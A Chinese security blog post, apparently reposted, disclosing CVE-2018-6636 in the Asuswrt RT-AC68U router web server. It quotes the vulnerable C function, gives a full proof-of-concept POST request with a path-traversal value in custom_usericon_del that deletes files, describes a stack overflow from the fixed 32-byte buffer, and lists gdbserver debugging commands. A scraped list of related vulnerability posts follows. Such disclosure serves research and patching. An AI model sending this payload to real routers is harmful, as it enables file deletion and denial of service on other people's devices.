Asuswrt RT-AC68U 华硕路由器文件删除漏洞 栈溢出
周末公司举办了技术团建,对路由器挺感兴趣的,挖到一枚漏洞,感谢杨博士的指导。已申请为CVE-2018-6636
软广一波~233333,想加入chaitin可以邮件联系我
源代码: https://github.com/Shonk/asuswrt/blob/d288a9cd0ddbe77b0f930c35ec0c061e78878ca4/release/src/router/httpd/web.c
void del_upload_icon(char *value) {char *buf, *g, *p;char filename[32];memset(filename, 0, 32);g = buf = strdup(value);while (buf) {if ((p = strsep(&g, ">")) == NULL) break;if(strcmp(p, "")) {sprintf(filename, "/jffs/usericon/%s.log", p);//Delete exist fileif(check_if_file_exist(filename)) {unlink(filename);}}}free(buf);
}
发现有一个unlink,在这个函数里面未有一些过滤,查看函数的调用
static int validate_apply(webs_t wp, json_object *root) {
...省略
else if(!strcmp(name, "custom_usericon_del")) {(void)del_upload_icon(value);nvram_set(name, "");nvram_modified = 1;
}
...省略
}
发现对用户的图片进行删除的时候回调用del_upload_icon函数,对validate_apply函数的调用进行查看
apply_cgi(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,char_t *url, char_t *path, char_t *query)
{ 省略...if (!strcmp(action_mode, "apply")) {if (!validate_apply(wp,root)) {websWrite(wp, "NOT MODIFIED\n");}else {websWrite(wp, "MODIFIED\n");}action_para = get_cgi_json("rc_service",root);if(action_para && strlen(action_para) > 0) {notify_rc(action_para);}websWrite(wp, "RUN SERVICE\n");}省略...
}
可以看到apply_cgi最后是进行了调用
漏洞复现
此漏洞是/jffs/usericon/%s.log
,其中%s可控,而且整个过程并未有一些检测操作,所以可以造成跨目录删除log文件
HTTP包(需要用户登录)
POST /start_apply2.htm HTTP/1.1
Host: 192.168.1.1
Content-Length: 191
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Referer: http://192.168.1.1/start_apply2.htm
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: traffic_warning_0=2018.1:1; wireless_list_9C:5C:8E:8B:D5:B0_temp=<40:C6:2A:8D:3C:06>Yes<00:28:F8:CE:48:98>Yes<DC:A9:04:82:D7:32>Yes<8C:85:90:35:83:BA>Yes<94:65:2D:A0:91:D8>Yes<AC:BC:32:90:2C:AF>Yes<BC:54:36:07:30:71>Yes; demo=1; nwmapRefreshTime=1517641501975; maxBandwidth=100; hwaddr=9C:5C:8E:8B:D5:B0; apps_last=; clock_type=1; bw_rtab=WIRED; clickedItem_tab=0; asus_token=a4coFDlYKDcnGnuNTBf8qyMGVj1457U
Connection: closecurrent_page=index.asp&next_page=index.asp&modified=0&flag=background&action_mode=apply&action_script=saveNvram&action_wait=1&custom_clientlist=&custom_usericon=&custom_usericon_del=../../tmp/l3m0ntest
栈溢出
回过头来看del_upload_icon函数,其实漏洞较简单,但是平时挖洞都是web思维。
void del_upload_icon(char *value) {char *buf, *g, *p;char filename[32];memset(filename, 0, 32);g = buf = strdup(value);while (buf) {if ((p = strsep(&g, ">")) == NULL) break;if(strcmp(p, "")) {sprintf(filename, "/jffs/usericon/%s.log", p);//Delete exist fileif(check_if_file_exist(filename)) {unlink(filename);}}}free(buf);
}
可以看到filename设置的大小为32,p期间并没有做任何的长度校验,发送超长字符,进入sprintf的时候会导致栈溢出
发现httpd服务crash,然后接着就重启.
gdb server远程调试
记录一下一些调试
https://github.com/mzpqnxow/embedded-toolkit
找一个编译好的gdbserver,自己编译出了太多问题了
然后本地再编译一下gdb,注意需要交叉编译
./configure --target=arm-linux --prefix=$PWD/installed -v
make
make install期间make出现报错: no termcap library found
wget http://ftp.gnu.org/gnu/termcap/termcap-1.3.1.tar.gz
./configure && make && make install
cp termcap.h /usr/include/ && cp libtermcap.a /usr/lib/
gdbserver:
gdbserver IP:PORT --attach PID
gdbserver 192.168.50.1:23333 --attach 3840
gdb:
target remote 192.168.50.1:23333
转载于:https://www.cnblogs.com/iamstudy/articles/Asuswrt_RT-AC68U_CVE-2018-6636_Detail.html
Asuswrt RT-AC68U 华硕路由器文件删除漏洞 栈溢出相关推荐
- 服务器漏洞文件被删除漏洞,【华中科技大学 - 漏洞预警】Wordpress = 4.9.6 任意文件删除漏洞...
昨日,互联网上公开了Wordpress <= 4.9.6的任意文件删除漏洞及分析利用材料.该漏洞影响Wordpress全部版本(<= 4.9.6).在攻击者获得基础权限后,可升级角色权限, ...
- PHP代码审计——任意文件删除漏洞(YXcms)
一.代码审计 在我的资源中下载:: YXcms-含有任意文件删除漏洞的源码包 下载即可 删除文件的代码在del()方法,首先通过GET方式接收参数fname传递过来的的值,然后执行in()函数 跟踪i ...
- php任意文件删除漏洞,myblog/phpyun4.3任意文件删除漏洞.md at master · source-trace/myblog · GitHub...
phpyun-expect.class.php任意文件 漏洞信息 公开时间: 2017/08 影响版本: 4.3 利用难度: 2 挖掘难度: 2 漏洞说明 漏洞出现的原因是在于没有对数据进行很好的校验 ...
- 【代码审计】任意文件删除漏洞实例
[代码审计]任意文件删除漏洞实例 任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件. 环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- CLTPHP 5.8 后台任意文件删除漏洞
CLTPHP 5.8 后台任意文件删除漏洞 一.漏洞简介 CLTPHP是基于ThinkPHP5开发,后台采用Layui框架的内容管理系统, 二.漏洞影响 CLTPHP 5.8及之前版本 三.复现过程 ...
- php任意文件删除漏洞,phpyun二次任意文件删除漏洞
### 简要描述: 只要有任意文件删除 这系统绝对崩. 我吐个槽,最新的过滤文件实在是太BT了,只要有select and .... 就die() 伤不起啊 ### 详细说明: 问题出在 friend ...
- php任意文件删除漏洞,phpshe后台任意文件删除漏洞及getshell | CN-SEC 中文网
摘要 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialchars过滤),虽然用的是全局变量注册 ...
- 织梦(Dedecms)V5.6 远程文件删除漏洞
漏洞版本: DedeCmsV5.6 漏洞描述: DedeCMS内容管理系统软件采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板.网站升级转移均提供很大的便利,健壮的模板标签为站 ...
最新文章
- MAC下PHP7.1.23安装intl3.0.0
- iOS开发——NSArray中的字典排序
- Leave List-Processing 新解
- shell中的小括号与大括号
- 华为mate9 android p,安卓手机为什么越用越卡?华为Mate9搭载EMUI 5.0告别卡顿
- UVa 1586 Molar mass 分子量 题解
- 瑞幸“踩”着星巴克登顶?
- sangfor设备升级系统_H3C IPS入侵防御系统配置
- CImage 对话框初始化时候显示透明 PNG
- BeanDefinition源码解析
- 如何建立个人商业画布
- 使用pytorch实现crnn
- abaqus中python怎么建立参考点_怎么在abaqus中选定中心为参考点
- 快速学习JasperReport-模板工具Jaspersoft Studio
- bzoj 4318 osu 【三次方问题】【dp】
- 13种权重的计算方法
- 什么都学一点系列之鸿蒙开发Java版简易备忘录
- 学学Gnuplot(常用命令及参数)
- 盒子中图片下方出现空隙
- getchar 和 getch区别
热门文章
- webdriver中的等待——主要讲解WebDriverWait()
- python爬取站酷海洛图片_站酷海洛图片爬取
- 详解坐标系及坐标变换--大地坐标系(一)
- 亚洲一些物流软件航空争抢货机投放
- java 求正割_Java中AQS基本实现原理
- 根据图片地址检查图片格式,今日头条有效
- 使用Windows 10自带工具 校验MD5 SHA1 SHA256类型文件
- Ubuntu用C/C++在终端打印不同颜色的字体
- python全局代理_Python3 中代理使用方法总结
- 微信影视站域名防封、微信影视站公众号域名防封